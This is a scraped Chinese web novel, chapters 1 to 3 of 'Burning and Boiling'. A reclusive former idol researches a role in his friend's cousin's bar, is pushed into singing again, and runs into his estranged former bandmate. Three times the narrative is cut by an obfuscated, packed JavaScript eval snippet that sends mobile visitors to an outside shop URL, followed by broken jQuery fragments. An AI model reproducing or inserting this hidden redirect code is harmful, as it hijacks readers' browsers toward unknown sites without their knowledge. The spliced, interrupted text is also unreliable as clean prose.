《燃烧的沸腾的》 1. 第 1 章 唐烨坐在升降椅上,身体不安地扭了两下。 酒吧里的光像罩在一块密不透风的黄色玻璃中,朦朦胧胧昏昏沉沉,他脑子里好似泡了一团大海绵,涨得很。 舞台中央有一支没名气的小乐队在唱歌,唱的一首经典老歌,有不少人在边上跟着一起唱。 唐烨一向不喜欢这儿,他跟孔栩来这的第一天就被人摸了屁股,浑身汗毛炸起,差点跟人干仗,被孔栩和唐子宜笑话了半天。 孔栩是他老板,他不敢跟老板计较,唐子宜是他表姐,他不能跟表姐置气。 后来每次一来就往吧台一坐,警惕地盯着附近不怀好意的人,以防自己的屁股再度别人骚扰。 唐烨想到这,回头去找孔栩。时间不早了,怕回去迟了挨项姐一顿臭骂。 项姐大名项汝怡,是孔栩经纪人,手底下还带着两个艺人,平时不怎么管孔栩,却又会特地给他制定一些条条框框,比如不准沾酒,不准夜不归宿,不准偷吃热量大的甜食,尤其是奶油泡芙。 奇怪的是一向我行我素、天打雷劈都不怕的孔栩竟然真的听项汝怡的话,在酒吧没碰过一滴酒,晚上十点一到就扯他袖子嚷着要走,哪怕无数人前仆后继想载他回家。 唐烨来到孔栩面前,孔栩瘦削的身体陷在柔软的沙发里,头偏过去,眼睛微微闭着,像在打盹。他的头发已经长得很长了,胸口以下的位置,发丝在暖光的照射下显得格外柔软。 孔栩身上盖着一件不知从哪儿顺过来的黑色外套,巴掌大的脸衬得越发白皙,他身边紧贴着一个陌生男人,长得挺端正英俊,正轻轻把玩他的手指,从大拇指一路捏到小指头,孔栩偶有一点回应,男人面红耳赤地激动起来,凑在他耳边,说了什么。 孔栩仍旧闭着眼,脑袋幅度轻微地晃了晃,仿佛是拒绝,男人不甘心,湿漉漉的气息喷在孔栩耳侧,孔栩不耐烦地睁开眼睛,他的眼神冷淡得很,把男人看得心头颤栗,托起孔栩的那只手,在指尖吻了一下:“明天你还来吗?” “不知道。”孔栩不看他了,抬头望向唐烨,朝他伸出手,意思是让他拉自己,“我累了,回去吧。” 孔栩前段时间接了个本子,是项汝怡从中斡旋牵的线。 他是个十八线都排不上的小演员,三年只接了两部戏,演的还都是一些可有可无的小角色,镜头都极远,粉丝打趣说得拿放大镜才能看清孔栩的脸。 这样的人竟然会有粉丝,数量还很庞大,每次唐烨陪孔栩参加活动都会被现场的应援震撼,可惜他错过孔栩最红的那几年,无从亲眼目睹如今这籍籍无名的青年最风光最得意的模样。 孔栩是以歌手组合的身份出道的。 唐烨在被项汝怡派去跟着孔栩前,对孔栩并不熟悉,于是找出他们组合的歌听,他把他们仅有的两张专辑循环了一个下午,又把他们录制过的综艺,各大卫视舞台的表演找出来看。 唐烨对孔栩充满了好奇,组合的音乐竟然意外地耐听,不是市面上那种千篇一律的口水歌,有好几首甚至是他们自己作词作曲的。 他觉得孔栩这样专业的歌手家里肯定会摆满各种各样的乐器,也会冷不丁抓起吉他或者提琴即兴几句。可是唐烨跟了孔栩四年多,从没听过他唱过一句,家里也只有一台老旧的立式钢琴,被厚厚的白布罩住,落了不知多少灰。 自从组合解散,孔栩不唱歌,不弹琴,不参加任何演唱类的活动,平时压根没有什么工作,唐烨有段时间担心公司边缘化孔栩,项汝怡却拍拍他的肩膀,对他说,孔栩不需要做什么,你隔三差五上门看看他,别让他死了就成。 真是好随意的发展方向,后来唐烨看出项汝怡对孔栩的不一般,她是出了名雷厉风行的狠角色,八面玲珑,长袖善舞,嘴皮子一张能把死的说成活的,活的说成神仙,只要她想做,没她做不了的事,可她却一而再再而三地纵容孔栩,某种意义上,唐烨想,也许是公司的授意。 孔栩有了这样一座靠山,变得更懒散,不缺钱,不缺时间,也不缺好友,可好友们满世界跑,他一个人实在无聊,于是翻出项汝怡带过来的剧本,翻完一遍告诉唐烨,他要演。 唐烨把好消息告诉项汝怡,项汝怡便叮嘱孔栩,让他多接触一些外人,整天闷在家演技怎么提高,这辈子第一次演主角,可不能演砸喽。 要论演技孔栩并没有自信,他这辈子没正经演过一次戏,去剧组也是玩儿,大家看在陈颂的面子上都挺照顾他,演的还都是古装,这些年他一直留长发,不用戴假发套,但演现代戏就够呛。 好在这次的本子主角也有一头长发,还会弹钢琴,年龄与他一致,跟为他量身定制似的。 孔栩觉得好玩,又有点苦恼,该角色情史丰富,而他二十五岁还是一张白纸,一到剧组不就都露馅了。 于是他灵机一动,对唐烨说:“你表姐那个酒吧叫什么来着?” 唐烨诧异地看他一眼:“你不能喝酒,去酒吧干什么。” “不喝,”孔栩把脸侧的发丝撩至耳后,朝唐烨笑了一下,“我就是去玩玩。” 唐子宜的酒吧坐落在东宁天街尽头,离热闹的市中心有段距离,每晚都有地下乐队来这里演出。 孔栩一进门,便差点被主唱的嘶吼掀了个跟头,太阳穴针扎似的,突突的疼。 唐烨关切地看向孔栩:“你还好吗?” 主唱唱的是孔栩出道那年,第一张专辑中的那首《崭新的歌》的摇滚版。 摇滚版是孔栩在某档综艺里现改的,没想到比最初的R&B版更受欢迎,很多乐队也格外喜欢唱这首。 听说《崭新的歌》还是孔栩没出道之前和另一个队友一起写的,唐烨余光不住往孔栩脸上扫,孔栩被他看得发毛:“看我干什么?” “你想不想跟他们一起唱?”唐烨饱含期待地问,他私下早已成为孔栩的歌迷,如果能现场听孔栩唱歌,哪怕只有一句也是极好的。 孔栩脸上没什么表情,干脆地回答:“不了吧。” 唐烨难掩失望:“好吧。” 孔栩眼珠一转,找了个借口:“我不太听摇滚。” 唐烨怎么会听他鬼话,这歌是他写的,还不听摇滚,那孔栩站在摇滚乐队演唱会第一排跟着一块蹦的照片是从哪儿来的?唐烨低低说了一句“哦”。 孔栩不再搭理他,他自顾自往吧台前坐下,朝调酒师一笑:“我不喝酒,有什么其他推荐么?” 出门前他随手拿了根发带把长发绑了起来,外套一脱,露出里面白色的V领T恤,领口敞得很开,吧台筒灯的光落在他的五官,打下一片阴影,是一张雌雄莫辨的长相。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016778|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他托着下巴,笑得纯洁无害,硬生生把调酒师的脸给看红了,调酒师结结巴巴地说:“呃,有无酒精的鸡尾酒,还有手工特调饮品,软饮和咖啡也有,咖啡是速溶的。” 孔栩说:“你帮我调一杯好看的。” 调酒师抿嘴思考了两秒钟,开始调酒。他抓了一把又红又大的樱桃放入杯中,去核捣碎,往杯中倒入一半气泡水,滴了几滴青柠汁,又放入几颗方形冰块,最后浇上牛奶。 透明的杯沿被抹上一弧鲜红,水果签扎着一颗饱满的樱桃,横放于酒杯上。 调酒师将这杯特调推至孔栩面前:“请你喝。” “谢谢。”孔栩并不感到惊讶,他是享受惯被人服务的人,兴致盎然地问,“它叫什么名字?” 调酒师说:“原本叫做‘樱桃陷阱’,但今天它叫做‘遇到你很高兴’。” 孔栩又笑,笑容带了一些温度,他柔声说:“你认出我了,什么时候?” 调酒师:“你进门的时候。” 孔栩这些年若论外表上的变化,其实微乎其微。改变更多的,大概是心态,十七岁长什么样,他现在还是长什么样,但若跟他近距离接触,就会发现他变了很多,不再像当年那样冒失冲动,遇事先在心里点起一把愤怒的火,把歌改成摇滚,也是因为那时候年轻,总怀有很多愤怒。 他如今还是会愤怒,次数少了许多,也知道这世界并不围着自己转动,心态就变平和了。 “没想到会见到你真人,你们开演唱会那会儿我还是学生,都没机会去现场,实在是太遗憾了。”调酒师真诚地说,“这些年你都不怎么出现,我们以为你要退圈了。” 孔栩端起杯子喝了一口,清清爽爽的甜,他夸道:“你手艺不错啊。” 调酒师知道他在故意转移话题,可面对面接触孔栩的机会实在太难得,他没分寸地继续追问:“光5解散后,他们都过得那么好,你却一直没什么声息,我还能等到你们合体一起开演唱会吗?你们不是做过约定,说十年后,二十年后还要一起唱歌吗?” 孔栩放下透明的玻璃杯。 一起唱歌好像是上辈子的事,约定什么的,跟热恋期的甜言蜜语一样,谁相信谁才是傻子。 孔栩不愿回忆往事,垂下眼:“你不应该问我。” 过了半晌,调酒师才说:“……邱以星的那些传闻是真的吗?” 舞台那边的乐队一曲唱完,这短暂的间隙,周遭像是抽走了空气一般,突然安静下来。 静得甚至能听到砰砰、砰砰的心跳声。 关于邱以星的传闻太多,孔栩不清楚他指的究竟是哪一桩。 孔栩的脸不动声色地绷紧,目光凝重地望着调酒师,嘴边轻轻逸出一声叹息:“是的……他死了。” 调酒师没料到孔栩一点也不避讳,他脸上流露出的悲痛不似作假,调酒师的手一抖,连忙说:“呃……也不强求了,唱不唱还是看你自己。还有,你……能不能帮我签个名?” 孔栩便在调酒师递过来的本子上签了自己龙飞凤舞的大名,他签完便转身忙不迭地走了,里面太闷,他感到强烈的不适感。 就在这时,唐烨带着唐子宜走过来,唐子宜朝孔栩伸出一只手,笑容满面地说:“孔栩你好,我是唐子宜,是酒吧的老板。” 2. 第 2 章 唐子宜是唐烨的表姐,与性格腼腆的唐烨不同,她为人热情开朗,且相当自来熟,大方包下孔栩今后所有的酒水,说是感谢他对唐烨的照料。 一来二去孔栩便与唐子宜相熟,孔栩每天跟上班打卡似的按时来酒吧报到,唐子宜经常见到孔栩打扮得花枝招展,在人群中猎艳。 不,孔栩不需要主动,他光是往那儿一坐,人群便会自动往他身边凑,男男女女都有,孔栩来者不拒。 孔栩偶尔会扎起长发,大多时候则是任其散在脑后,他的瞳色偏浅,大概是光线的缘故,折出蜜色如同琥珀般的神采,看谁都深情款款。 自从孔栩来到唐子宜的酒吧,酒吧的营业额翻了几番,每天他身边都坐着不同的人,唐子宜撑着吧台问唐烨,感叹道:“你老板太受欢迎了。” 唐烨点头,颇为自豪:“那是当然,他可是孔栩啊。” 唐子宜眨了眨大眼睛,好奇地又问:“他是双吗?” 唐烨沉默片刻,谨慎回复:“我不太清楚,他从不跟我说感情方面的事。” 唐子宜惊讶:“你不知道?他天天跟着他,你不知道?每天这么多人追在他屁股后面,他就没有带人回过家?他也不是十几岁的小孩子了,即使不谈恋爱,难道一点儿那方面的需求都没有吗?” 唐烨叹气,只有他知道孔栩在做什么。 孔栩是挺洁身自好一人,社交关系也都非常简单,可他不太方便对唐子宜坦白,总不能说孔栩因为没谈过恋爱不知道怎么演身经百战的恋爱高手,所以来酒吧找感觉。 也太伤害孔栩自尊了。 万一被孔栩知道,孔栩一定会把他切成几段扔河里。 他苦恼地想,不知道孔栩找到感觉了没有,他还有多久才能离开这个鬼地方。 “以你对孔栩的了解,”唐子宜问,“这里面的人,你觉得他最后会跟谁走?” 唐烨脱口而出:“这里没人能配得上他。” 唐子宜感到莫名:“为什么?他明明很享受。” 唐烨无奈:“算了,跟你说不清楚,忙你的去吧。” 唐子宜不明白唐烨为何如此笃定,后面的每一天孔栩依旧是按时到来,按时离开。 在酒吧驻唱的乐队的主唱,是个二十出头的男孩子,每次唱完歌会来找孔栩聊天,还会抱着吉他给他弹歌听,大多是动人的情歌。 小主唱挺有人气,歌声也相当动听,孔栩会靠在他肩膀,懒懒地纠正他指法的错误,小主唱求偶的尾巴开了一月有余,与孔栩的关系一直没能更进一步,于是小主唱问他:“我追了你这么久,你一点儿也不感动吗?” 孔栩稍微往前挪了一点,还是用那双眼睛,凝望着小主唱,懒懒地问:“你在追我啊?” “那不然呢。” “其实我一直想对你说……” 小主唱心咚咚地跳起来,咽了口唾液:“什么?” 孔栩点了点自己的喉咙:“你发音有点问题,找个专业点的老师帮你指导一下吧,再继续这样下去,嗓子迟早要废。” 小主唱脸色刷一下就变了,差点哭出来,那天后便再也没来过酒吧。 唐烨对此司空见惯,孔栩如果想气人,分分钟能把人肺给气爆炸。 本来乐队就是个添头,不来也罢,唐子宜却故意逗孔栩:“你把我的主唱欺负走了,打算怎么补偿?” 孔栩无奈耸肩:“明明是他自己要走,我能怎么办?更何况我又没说错。他嗓音条件的确惨不忍睹啊,还让我听了那么长时间,我耳朵受到的损失找谁赔偿?” “要不你来给我当驻唱的歌手吧?”唐子宜试探性地问他,她从唐烨那儿听说孔栩已经不唱歌了,还是不死心地问他,“每天一首歌就可以,报酬随便你提。” 孔栩想也不想就回绝:“不要。” 唐子宜激他:“你是觉得太久没唱,唱不出来了是不是?” 孔栩大多时候脸上淡淡的,没有什么表情,此刻却出乎意料的皱起眉,露出一丝厌弃,他说:“我不想唱,激将法也没有。” 唐子宜与唐烨对视一眼,唐烨撇嘴,意思是:你看吧,都是白费工夫。 酒吧没了音乐,显得冷清许多。 这时有人看孔栩一个人单着,过来找他,唐子宜却一把揽过孔栩的肩膀,笑眯眯对那人说:“找他要排队哦,他今天剩下的时间是我的。” 那人不甘心地走到一边,目光仍远远地注视这里。 唐子宜凑近孔栩,一双杏眼睁得溜圆,红唇一开一合,轻声说道:“孔栩,你看,这些人都是为你而来,一开门就在这里等候,哪怕你正眼也不瞧一下……你怎么能这么无情?” 孔栩直发笑:“只调情,不负责,玩玩而已,规矩大家都知道,谁会当真?” 唐子宜:“你还要玩多久?” 孔栩收起嬉皮笑脸的态度,思考说:“也差不多了,我没什么感兴趣的人了。” 唐子宜呵呵干笑一声,心说这是把人都钓完一通,没新的玩物供他取乐了。 “你以后不来了?” “你这么舍不得我啊?”孔栩盛着满眼的诚意,望向唐子宜,“我会回来看你的,你可不要伤心。” “话别说太满,搞得你好像对所有人都势在必得。”唐子宜受不了他朝自己放电,忙偏过脸,低低呼出一口气,手往前方某个方向一指,“那个人——看见了没?” 孔栩歪了歪头,视线跟过去:“嗯?怎么?” 那是光看背影就相当高大的男人,背对他们坐在僻静的卡座,DJ为了活跃气氛,放了一首劲爆的电子舞曲,迷幻的灯光随之闪烁,在唐子宜的脸上投下五彩斑斓的波点。 她的声音轻快地响起来:“长得比模特还要好看,不过据说挺难搞,你能不能在一分钟内要到他的电话号码?” 孔栩微微皱眉:“他是谁?” “新来的,我跟他不太熟。”唐子宜说,“要不要打个赌?如果你没成功,就得留在我的酒吧唱歌。” 唐子宜心里痒痒的,目光灼灼地看着孔栩:“怎么样?” “可以啊。”孔栩轻快地说,“要是我拿到他号码,你就让小铭去我那里给我煮咖啡。” 调酒师正在剧烈地晃动雪克杯,闻言动作一顿,唐子宜扭头看向他,不可思议地质问说:“向一铭,你们关系什么时候这么好的?你给他煮咖啡?我都没喝过你亲手煮的咖啡!” 向一铭:“他说他家有一台八万八的咖啡机。” 唐子宜瞳孔地震:“你还去了他家里?!” 向一铭百口莫辩,唐子宜看向孔栩:“我的天哪,兔子都不吃窝边草呢,你怎么连我的人也不放过?” 一直沉默的唐烨默默地套了掏耳朵:好吵,这个地方真讨厌啊。 孔栩早已托着向一铭调的阿佩罗橙光走向那个男人,金黄色的酒液仿佛流动着落日一般的余晖,此刻正随着他的脚步微微晃动,他脸上挂着一个泰然而自信的笑容,心中早就酝酿好搭讪的第一句话,他很少主动,此刻这背影令他感到些许口干舌燥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016779|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯光打在这人的肩膀,颈肩的线条显得硬朗,孔栩一只手从这人的肩头缓慢滑过,俯身凑在他耳边轻声说:“嘿,帅哥,今晚一个人吗?” 话音刚落,揣在兜里的手机突然毫无预兆地嗡嗡嗡震动起来。 孔栩摸出手机,来电人显示“蓉蓉”。 这人闻声从卡座中转过脸,孔栩低下头与他对视。 仅片刻的光景,孔栩的脊背一寸寸地僵硬紧绷,脸上的笑容啪的一下也消失。 他张大眼睛,望着这人的脸,的确如唐子宜所说比模特还要好看,这人向来是门面担当,长着一双天然微笑的嘴唇,孔栩一眨不眨地盯着这人从座位里起身,嘴角翘起一个迷人的弧度:“小木鱼,好久不见。” 好久,好久,不见。 孔栩托着葡萄酒杯猛地往后退了很大一步,酒差点洒在身上。 他无意中碰到了免提键,电话那头传来陆笑蓉响亮而清脆的声音:“小木鱼,你怎么才接电话!据可靠消息,邱以星他回岚江了!这个贱人,走的时候一声不吭,回来也一声不吭,他怎么能这样,实在是太过分了!” “是啊,实在是太过分了,”邱以星对着手机那边的陆笑蓉笑吟吟地说,“你打算怎么办,揍我一顿出出气?” “我靠,你谁啊,声音也太像邱以星了吧!”陆笑蓉越说越没底气,声音也越来越小,好几秒后才小心翼翼地问,“不会吧……你,你现在和小木鱼在一块儿吗?” “嗯……”邱以星还想说什么,孔栩却一下挂了电话。 孔栩垂下眼,不知在想些什么,面色出人意料的难看。 邱以星的外表虽还能看出从前的少年轮廓,可毕竟还是有了很多变化,令孔栩感到一阵难以言喻的心惊胆战的陌生。 邱以星站在他面前,盯着他手里的酒杯,回答他刚刚的问题:“没错,我是一个人,你要请我喝酒吗?” “不是,”孔栩朝他苍白地笑了笑,“是我自己要喝。” 孔栩抬头将酒一口气灌进喉咙,久违的酒精顺着喉管钻进胃里,他咳了两声,强忍不适,像面对一个陌生人一般礼貌有加地对邱以星说:“不好意思,我认错人了。” 他头也不回地转身离去,将酒杯塞到唐子宜手里,平静地对她说:“你赢了。” 这还是唐烨第一回见孔栩喝酒,项汝怡叮嘱过多次,唐烨一向奉项汝怡的话为圣旨,一朝没看住孔栩,懊悔得要死:“你不是说不喝吗?” 一边想打电话请示项汝怡,孔栩按住他的动作,轻声说:“走吧。” 唐子宜也有一丝后悔,邱以星一来她就认出来了。 她丝毫不相信网上说的邱以星与孔栩不合的传闻,并本能地认为邱以星并非平白无故来到这,说不定是来找孔栩的,不过孔栩还没注意到他。 唐子宜便起了开玩笑的心思,脑中升起这样一个馊点子,没料到孔栩对邱以星避如蛇蝎,像是见到一尊大瘟神。 唐子宜抱歉地对孔栩说:“对不起,我……我真不知道你们关系有那么差。” 孔栩说:“不怪你。” 又说:“愿赌服输,我会来唱歌的。” 唐烨的脸由阴转晴:“你真要唱歌?” 孔栩:“那我假唱?” 唐烨:“那可不行!” 唐子宜万分心虚,对孔栩说:“你别逞强,都是开玩笑,不作数。” 孔栩摇头:“没有,我走了,明天见。” 邱以星站在另一侧,自始至终,孔栩没有再看他一眼。 3. 第 3 章 孔栩没能如约与唐子宜“明天见”。 孔栩不喝酒,并非因为他容易喝醉。 相反他酒量很好,连干两瓶白的两瓶啤的都面不改色心不跳。 光5还没解散那会,陆笑蓉发现孔栩这一惊人天赋后,说以后饭局就派小木鱼去吧,他一个人能顶我们四个。 邱以星白了陆笑蓉一眼:“他那么喝身体万一出问题怎么你哪来的脸?” 陈颂和夏桃杉便靠在一起嘿嘿地笑,说邱以星你总是这么护着小木鱼。 后来某天,他喝了太多酒,两条腿直打摆子,冲到卫生间抱着马桶狂吐,吐到两眼失焦,肝胆都要流出嗓子眼,却在那时接到邱以星的电话。 孔栩忙抹了把嘴,清清嗓子,听到邱以星以一种从未有过的冷冰冰的语调对他说:“孔栩,你别多管闲事,你以为你是我的谁?” 如堕冰窖,孔栩冷得直哆嗦,心想,不应该喝那么多酒的,都产生幻觉了,邱以星从来不会跟他这么说话的。 他最后被项汝怡接了回去,连续睡了十个小时,错过光5宣布解散的新闻发布会,也没能看见邱以星最后一眼。 过往好像一场华美而梦幻的泡沫,轻轻一戳就砰然炸开,没有任何挽留的余地。 “孔栩。”从酒吧回去的路上,唐烨注意到孔栩望着窗外一直愣神,叫了他一声。 “啊。”孔栩回过神,茫然道,“怎么了。” 孔栩无意识挠了挠脖子,却见脖子慢慢红起来,裸露的手臂也泛起一层不正常的红色,像是海潮卷来暗红的苔藓。 唐烨的眼皮飞快跳了跳,把车停到路边,一把扯过他的手臂,看见原本白皙的皮肤上冒出一个个细小的疙瘩。 唐烨失声叫道:“这是什么?!” “过敏,”孔栩说,“没事,我吃点药就好了。” “你酒精过敏?!”唐烨三魂去了七魄,惊叫道,“你怎么从没告诉我?” 难怪他不喝酒,他要是知道,给他三个胆子也不可能让孔栩碰一滴酒。 孔栩恹恹的:“死不了,你可别跟项姐打小报告。” 唐烨问:“你知道吃什么过敏药吗?” “知道,家里的应该过期了,”孔栩想了想,说,“去药店买一瓶吧。” 孔栩的过敏症状完全消退已经是两天后,他换上一套薄荷绿的休闲西装,长发扎成马尾,唐烨看他满屋子翻找,而后从大沙发的背后掏出来一个黑色的吉他包。 “你在干什么?”唐烨不解地问。 “给吉他调音,”孔栩一边拨弦一边屏息听动静,“或许还要换弦,太久没用了。” 唐烨越发不可思议:“你都这样了,真要去唐子宜那儿唱歌?” 孔栩抬眼看他:“我哪样?” 唐烨:“……反正我感觉你特别不对劲。” 孔栩笃定地说:“你感觉错了。” 孔栩弹吉他这件事当晚就上了热搜。 光5解散七年,陈颂跨界当演员,拿了好几座金灿灿的奖杯;陆笑蓉离开双陈娱乐,改签行容传媒,成了容媒一姐,是大名鼎鼎的影视剧OST女王;夏桃杉如今居于幕后,早年间由于眼光独到,瞎投资了许多新兴产业,没料到产业一朝崛起,翻身农奴把歌唱,再也不用苦逼兮兮地给陈闵打工,过着每天喝喝茶晒晒太阳的悠闲日子。 唯二没有任何动静的则是孔栩和邱以星。 孔栩虽没离开娱乐圈,但跟退圈没什么区别,曝光度基本为零,拍的那些剧对他事业没有任何加成,除了老歌迷还在苦苦等他回来唱歌外,没人记得他。 而邱以星……邱以星后来直接人间蒸发,消失了。 有人曾开了个帖子讨论此事,邱以星突然间没了讯息实在过于蹊跷,怀疑邱以星是不是被仇家胁迫,说不定背地里早就遇害,传闻越来越离谱,也不见邱以星本人出来做过回应,疑似坐实传闻。 这天晚上,传闻中失踪遇害的邱以星坐在台下,看着孔栩在舞台中央,抱着一把吉他,唱《布罗尔西街的小偷》。 孔栩很久没有正经弹过吉他,手生疏得要命,看见有人拿出手机录像,舔了舔下唇,拿着话筒开玩笑说:“麻烦给我找个最好看的角度,别拍我左脸,不太上镜。谢谢。” “别管什么角度不角度的,孔栩你三百六十度无死角的好看!!”有个瘦小的女生爆出一声暴躁的呐喊,“我等这天等了七年!你给我好好唱!” 孔栩无奈地低头一笑,他一边弹一边唱,不是他自己的歌,而是七年前由一位尚不知名的歌手写的。 光明降临无边黑夜的窗口 短暂拥有三年零四个白昼 奈何浮云变幻苍狗 万事万物不为谁停留 谁做孩子气的梦 谁就一直流离失控 孔栩垂着眼,不看任何人,自然也无法看见邱以星先是迷茫,随后讶然的表情。 即使更换琴弦,也无法掩盖他长久没练习的生涩,孔栩并不在意。 这样漫长的光阴过去,他已经学会不在意他人的评判与眼光,仍自顾自地唱着: 请等一等布罗尔西街的小偷 最后三个硬币买面包或罐装啤酒 或一支鲜花自动贩卖机出售 免费的月光值得深呼吸感受 请看一看布罗尔西街的小偷 今夜我是两手与心皆空空的歌手 也和你一样游荡在无人街头 说不上谁比谁更为明天发愁 …… 孔栩的指尖扫过最后一个音,光束下的人被烘出一圈溶溶的光。 他站在光里面,朝众人大方微笑说:“大家好久不见,这是我最喜欢的歌手阿涟发布在网上的第一首歌,很久没唱歌,献丑了。” 这段三分钟不到的视频,十秒后被上传到国内最大的社交网络平台,继而又被陈颂、陆笑蓉和夏桃杉相继转发,陈颂拿了几个影帝后,就不方便像少年时代那样咋咋呼呼把喜怒哀乐一股脑地抒发倾倒,只宣传新电影的时候才露面,写两句高冷的话,再消失很长一段时间。 大概是夜晚太无聊,陈颂不仅转发视频,还气势汹汹发表一则评论:到底是谁在听现场版,今晚将上我的暗杀名单。 陆笑蓉5G冲浪速度不遑多让,紧随其后评论说:过往情分终成云烟,你最爱的歌手竟不是我,我的心碎成一片两片三片…… 偶尔发发下午茶照片的夏桃杉也来凑热闹,并艾特孔栩,说:我也喜欢他的歌!我最喜欢《一本梦》,小木鱼最喜欢哪首? 孔栩回答说:我最喜欢《粼粼春风》。 唐烨倚着吧台,眼睁睁看着关于他们的话题正以一种势不可挡的速度冲向热度排行榜的前十,话题分别如下: #孔栩唱歌# #孔栩光5# #陈颂暗杀名单# #陆笑蓉心碎# #夏桃杉一本梦# 其中甚至零星还夹着几个#邱以星活的#。 大概是又有其他人上传了不同角度的视频,拍到了邱以星,让邱以星这个沉寂许久的名字再度出现在大众视野。 原本就热闹的夜晚,又因徐如夜的加入达到了最高潮。 徐如夜_响流:这唱的什么,哪个没品味的东西写的。 笑蓉儿特别美:徐老师,这题我知道!是那个在加拿大被小偷偷了钱包的歌手! 徐如夜_响流:真没出息,被偷了东西不去抢回来,竟然还有心情写歌。 种桃合伙人:徐老师,不允许你这么说我们阿涟!@孔孔孔木鱼 孔孔孔木鱼:让让徐老师,徐老师年纪大了审美比较落后,欣赏不来。 徐如夜_响流:孔栩你多久没练歌了,明天来我工作室,我给你制定个练唱计划。 孔孔孔木鱼:徐老师,我错了,我深刻检讨,徐老师老当益壮,不坠青云之志。 陈颂SONG:@徐如夜_响流徐老师,哪天抽个空我们几个聚一聚啊。 唐烨刷着刷着,突然刷不了新内容,一看服务器给他们聊崩了,他相当无语,对孔栩说:“你们就不能建个小群单独聊吗?” “有小群,”孔栩说,“我给屏蔽了。” 唐烨说:“为什么?” 孔栩收起手机:“我看着烦。” 唐烨一脸清澈地问:“你烦什么?” “唐烨,你最近的问题好多,是不是要高考了?”孔栩说,“我给你报个补习班好好学一学怎么样?” 唐烨伸手在嘴边一划,以示自己不再多嘴。 说好的只唱一首,孔栩唱完便把吉他收进包里,唐烨拎起吉他包挂在自己左肩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016780|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在酒吧唱歌的事一传十十传百,酒吧里的人也越来越多,唐子宜大呼失策,她紧急在酒吧门口挂上牌子说不再接待客人,没能成功进来的人被堵在外面,很快形成一条长龙。 唐子宜只好带孔栩去自己的专用休息室,休息室虽小,五脏俱全,还有一张折叠椅。唐烨从跟着孔栩后就没见过这么大阵仗,心里充满惊惧,他犹豫要不要问问项汝怡该怎么办。 眼看着过了孔栩平日的睡眠时间,唐烨心里越发着急,孔栩开玩笑说:“我在这对付一晚也没关系。” 唐烨果断摇头:“那怎么行,这什么都没有,你这洁癖不洗澡了?” 孔栩便不做声了。 唐子宜说:“再等等吧,他们见不到你人就会走的。” 三人一时沉默无言,唐子宜暗自琢磨了一会,又问:“明天还能来唱歌吗?” 唐烨实在听不下去:“你怎么就逮着孔栩一个人薅?” 唐子宜闻言有些不好意思:“我就问问,你别这么激动行不行?” 就在这时,三人同时听到休息室的窗户被人从外面敲了两下。 休息室在酒吧最里侧,仅有的一扇窗户位置还很高,将近两米,唐子宜懒得爬上爬下开窗户,常年锁着,屋里没值钱的东西,要通风就把门打开。 “谁?”唐子宜和唐烨对视一眼,走到窗边,踩上矮柜,将窗帘拉开一条窄窄的缝隙。 看清窗外的人,唐子宜明显愣住,她唰的一下直接拉开窗帘,踮起脚扭开了窗户锁。 “邱以星?”唐子宜纳闷地看着不知踩着什么东西,以至于高出半截身体的邱以星,“你在这干什么?” 夜幕中的邱以星头发稍显凌乱,脸颊沾了一点灰,他直直望向孔栩,朝他伸过来一只手:“这里没人,你要不要跟我一起走?” 不等孔栩回答,唐烨也没给他思考的时间,他一秒钟也等不了了,擅自替孔栩做决定:“走!” 他两手交叉,微微弯腰,窗台太高,示意孔栩踩自己手背。 “我……”孔栩犹豫而为难,唐烨催促:“祖宗,快点吧,都什么时候了。” 孔栩硬着头皮,抬脚踩住唐烨手背,唐烨两手往上一抬,与此同时,孔栩借力一跃,一把握住邱以星的手,蹬着窗台,被邱以星结结实实地搂住腰,从高处跳了下去。 孔栩才看清,邱以星原本站在一个垃圾桶上。 “谢谢。”一落地,孔栩立即松开邱以星,和他保持一米以上的距离。 “不客气。”邱以星笑笑,他两只手忽然间不知如何安放,在衣服上蹭了两下,继而呼出一口气,说,“听你说喜欢Lian,我——” 孔栩不耐烦打断邱以星接下来的话:“跟你没那么熟,别用阿涟跟我套近乎。” 他浑身上下每一处都在抗拒邱以星的接近,双眼写满警惕,邱以星的做派在他来看全是装模作样,已经吃过一次亏,就不能再上一次当,他再愚蠢也不会两次踏进同一条河流。 孔栩四处张望,久等唐烨不至,他打算先行离开,左手边通向东宁大街,右手边则是另一条更狭窄的暗巷,里面黑黢黢的,看不清道路是否通畅。 突然间传来一阵杂沓的脚步声,孔栩瞳孔微张,几颗手电的光在远处闪啊闪,他听到有人在喊:“诶,那是不是有人?” 